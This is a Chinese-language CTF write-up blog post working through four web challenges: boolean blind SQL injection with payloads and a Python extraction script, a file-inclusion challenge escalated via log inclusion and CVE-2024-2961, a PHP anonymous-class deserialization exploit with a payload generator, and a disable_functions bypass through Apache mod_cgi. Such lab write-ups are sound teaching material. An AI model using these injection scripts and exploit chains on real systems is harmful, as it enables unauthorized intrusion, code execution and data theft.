训练场

本文最后更新于 2026年2月22日 晚上

error_sql

本来看了描述还以为是报错注入结果进去才发现只回显是否查询成功,典型的布尔盲注

吸取上次的教训先测一下WAF,好吧没有

1
1' and length(database())=10 and '1'='1

确定数据库名长度

1
1' and substr(database(),1,1)='t' and '1'='1

爆数据库名 terra_data

1
1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' and '1'='1

爆表名 secret

1
1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret'),1,1)='i' and '1'='1

爆字段名 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = 'http://124.221.168.69:20328/search'
str_range = '}{-abcdefghijklmnopqrstuvwxyz0123456789'
headers = {"Cookie": "session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXIiOiJzdW4ifQ.aWM0dw.jbcwlk8_tGVJkxk2aIVqJXRFhVc"}

def getData(str_list):
j = 1
while True:
for i in str_list:
new_url = url + f"?id=1' and substr((select group_concat(flag) from secret),{j},1)='{i}' and '1'='1"
r = requests.get(new_url,headers=headers)
if "成功查询" in r.text:
print(i, end="")
if i == "}":
print()
return 1
break
j = j + 1

if __name__ == '__main__':
getData(str_range)

脚本爆flag

LFI_2_?

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);

//read file only :)

$file = $_POST['file'];
$content = $_POST['content'];

include($content);
echo file_get_contents($file);

?>

描述:allow_url_include Off

这里我们复习一下

对include而言,它会包含并运行指定文件中的代码,并且php://input和data://依赖allow_url_include On

而file_get_contents,它只是一个“数据搬运工”,不会解析或执行其中的PHP代码,并且php://input和data://依赖allow_url_fopen On

方法一(日志包含)

image-20260214212158818

方法二(CVE-2024-2961)

做了好几天,终于做出来了!!!

本质上就是利用缓冲区溢出将phpfilter任意文件读取提升为远程代码执行

首先读取/proc/self/maps,找到libc-2.31.so的地址/lib/x86_64-linux-gnu/libc-2.31.so

利用filter链读取文件,然后使用base64转文件

kezibei脚本

把两个文件放到脚本同目录,修改部分代码

image-20260220154826705

运行即可生成payload

image-20260220154058009

参考文献

从多个比赛引发的CVE-2024-2961漏洞学习思考-先知社区

CVE-2024-2961 调试复现分析 | Ron’s Blog

seria_anonymous

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
highlight_file(__FILE__);

class Animals{
public $Sakiko;
public $uika;

public function __construct() {
$this -> Sakiko = new class {
private $handle;

public function __construct() {
$this -> handle = "mutsumi";
}

public function mutsumi() {
if ($this -> handle !== "mutsumi") {
die("NoNoNo<br>");
}
eval($_GET['anything'] ?? "echo '来控制我呀~';");
}
};
}

public function __destruct() {
$func = $this -> uika;
$func();
}
}

$data = $_GET['data'];
@unserialize($data);

主要考察匿名类

将数组的第一个值指向另一个Animals实例的Sakiko地址,从而调用mutsumi方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Animals{
public $Sakiko;
public $uika;
}

$a = new Animals();
$b = new Animals();

$a -> Sakiko = $b;
$a -> uika = [$a, "__construct"];
$b -> uika = [&$a -> Sakiko , "mutsumi"];

echo urlencode(serialize($a));

eval?

1
2
3
4
5
6
<?php
highlight_file(__FILE__);

if (isset($_REQUEST['Pr0x1ma'])) {
eval($_REQUEST['Pr0x1ma']);
}

初入茅庐的我刚做这道题是摸不到头脑,使用system函数报错,用蚁剑连接只能在/var/www/html目录下操作。其实这就是因为设置了disabled_functions和open_basedir

用蚁剑的插件看一下状态,apache服务器,支持putenv,所以选择apache_mod_cgi

image-20260221204048051

image-20260221204253963

参考文献

绕过disable_functions的限制 - DumpInfou - 博客园

bypass disable_functions姿势总结-先知社区

手动方法

完整教程:CTFHub Web进阶-PHP:Bypass_disable_function3之通关Mod CGI - yangykaifa - 博客园


训练场
https://www.sunynov.top/2026/01/04/训练场/
作者
suny
发布于
2026年1月4日
许可协议